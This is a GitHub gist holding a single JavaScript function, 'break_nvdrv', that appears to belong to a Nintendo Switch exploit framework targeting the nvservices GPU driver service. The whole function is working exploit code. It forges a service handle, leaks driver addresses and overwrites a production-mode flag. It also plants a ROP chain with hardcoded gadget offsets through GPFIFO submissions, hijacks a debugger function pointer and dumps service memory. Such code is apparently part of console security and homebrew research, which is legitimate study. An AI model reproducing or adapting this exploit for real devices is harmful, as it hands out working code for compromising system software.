Created
December 28, 2018 19:31
-
-
Save hexkyz/6907dd3722416c084c1cbd44979d4cab to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sploitcore.prototype.break_nvdrv = function(sm_handle) { | |
var meminfo = this.malloc(0x20); | |
var pageinfo = this.malloc(0x8); | |
// Leak nvservices base address | |
var nvdrv_base = this.get_nvdrv_base(sm_handle); | |
// Forge a new service handle for NVDRV | |
var srv_handle = this.forge_handle(sm_handle, "nvdrv:t"); | |
// Initialize NVDRV | |
var init_res = this.nvdrv_init(srv_handle, 0x300000, 0, 0); | |
var nvdrv_buf = init_res[0]; | |
var mem_addr = init_res[1]; | |
// Open "/dev/nvhost-ctrl-gpu" | |
var ctrlgpu_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvhost-ctrl-gpu"); | |
// Open "/dev/nvhost-as-gpu" | |
var as_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvhost-as-gpu"); | |
// Open "/dev/nvmap" | |
var nvmap_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvmap"); | |
// Open "/dev/nvhost-ctrl" | |
var ctrl_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvhost-ctrl"); | |
// Open "/dev/nvhost-gpu" | |
var gpu_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvhost-gpu"); | |
// Open "/dev/nvdisp-disp0" | |
var disp_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvdisp-disp0"); | |
// Leak pointer from nvmap | |
var sharedmem_ptr = this.nvdrv_sharedmem_leak(nvdrv_buf, nvmap_dev_handle); | |
// Create new nvmap handle | |
var nvmap_handle = this.nvmap_alloc(nvdrv_buf, nvmap_dev_handle, [0, 0], 0x10000); | |
// Initialize a new NVGPU unit | |
this.nvdrv_init_gpu(nvdrv_buf, gpu_dev_handle, as_dev_handle, nvmap_dev_handle, nvmap_handle); | |
// Disable SM stopping | |
this.nvdrv_disable_sm_stop(nvdrv_buf, ctrlgpu_dev_handle, gpu_dev_handle); | |
// Setup write targets | |
var spray_ptr = utils.add2(nvdrv_base, 0xB4DB4); | |
var target_ptr0 = utils.add2(nvdrv_base, 0x63AFD1); | |
var target_ptr1 = utils.add2(nvdrv_base, 0x111618 - 0x18); | |
// Overwrite RMOS_SET_PRODUCTION_MODE to enable debug features | |
this.nvdrv_wait_for_pause(nvdrv_buf, ctrlgpu_dev_handle, target_ptr0, 0x01); | |
// Submit GPFIFO to plant data in shared memory | |
// Contents will be at sharedmem_ptr + 0x31000 | |
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, utils.add2(nvdrv_base, 0xC4D5C)); // Pointer to SVC 0x55 | |
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x00000000, 0x00000000]); // Must be NULL | |
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x42424242, 0x42424242]); | |
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x00001000, 0x00000000]); // SVC 0x55 X2 (io_map_size) | |
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, utils.add2(nvdrv_base, 0xBB384)); // Pointer to memcpy (RET) | |
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x42424242, 0x42424242]); | |
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, utils.add2(nvdrv_base, 0xB4DB4)); // Pointer to stack pivot | |
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x00000000, 0x00000000]); // Must be NULL | |
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x42424242, 0x42424242]); | |
this.nvdrv_submit_gpfifo(nvdrv_buf, gpu_dev_handle, [0x42424242, 0x42424242]); | |
// Open "/dev/nvhost-dbg-gpu" | |
var dbg_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvhost-dbg-gpu"); | |
// Bind debugger to a GPU channel | |
this.nvdrv_dbg_bind(nvdrv_buf, dbg_dev_handle, gpu_dev_handle); | |
// Overwrite dbg-gpu funcptr | |
this.nvdrv_zbc_query_table(nvdrv_buf, ctrlgpu_dev_handle, spray_ptr); | |
this.nvdrv_wait_for_pause(nvdrv_buf, ctrlgpu_dev_handle, target_ptr1, 0x01); | |
// Do ROP | |
this.nvdrv_do_rop(nvdrv_buf, dbg_dev_handle, nvdrv_base, sharedmem_ptr); | |
// Close the handle | |
this.svc(0x16, [srv_handle], false); | |
// Set dummy memory state | |
var mem_state = [0x00, 0x01]; | |
// Wait for nvservices to release memory | |
while (mem_state[1]) | |
{ | |
// Call QueryMem | |
this.svc(0x06, [meminfo, pageinfo, mem_addr], false); | |
// Read state | |
mem_state = this.read8(meminfo, 0x10 >> 2); | |
} | |
// Dump memory | |
this.memdump(utils.add2(mem_addr, 0x2D000), 0x30, "memdumps/nvmem.bin"); | |
this.free(meminfo); | |
this.free(pageinfo); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment